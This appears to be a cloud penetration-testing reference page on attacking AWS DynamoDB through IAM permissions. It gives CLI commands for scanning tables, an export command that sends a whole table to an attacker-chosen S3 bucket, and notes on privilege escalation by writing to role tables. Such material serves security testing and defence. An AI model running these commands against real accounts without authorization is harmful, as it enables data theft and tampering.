DynamoDB has no network surface: access is entirely IAM. A principal holding dynamodb:Scan or dynamodb:Query reads the table contents directly through the API, and dynamodb:ExportTableToPointInTime dumps a whole table to S3 for bulk exfiltration. Write actions (PutItem, UpdateItem, DeleteItem) let you tamper with application state, which matters where the table backs authz or balances.

Reading tables#

aws dynamodb list-tables
aws dynamodb scan --table-name <t> --output json          # whole table
aws dynamodb query --table-name <t> \
  --key-condition-expression 'pk = :v' \
  --expression-attribute-values '{":v":{"S":"tenant#1"}}'

Bulk export to S3#

aws dynamodb export-table-to-point-in-time \
  --table-arn <arn> --s3-bucket <attacker-or-reachable-bucket> \
  --export-format DYNAMODB_JSON

Exploitation notes#

• Scan is expensive and paginates; large tables come out faster through the point-in-time export, which needs the table to have PITR enabled.
• Writes to a table that stores roles, entitlements, or feature flags can be an application-level privilege escalation independent of IAM.
• Streams (dynamodb:GetRecords on a table stream) leak ongoing changes where enabled.

Tools#

• AWS CLI (dynamodb scan, export-table-to-point-in-time).
• Pacu (dynamodb__scan): enumerate and dump tables across regions.

References#

• AWS: exporting DynamoDB to S3
• HackTricks Cloud: AWS DynamoDB
• CloudFox: enumerating and looting cloud data stores
• Datadog Security Labs: AWS attack research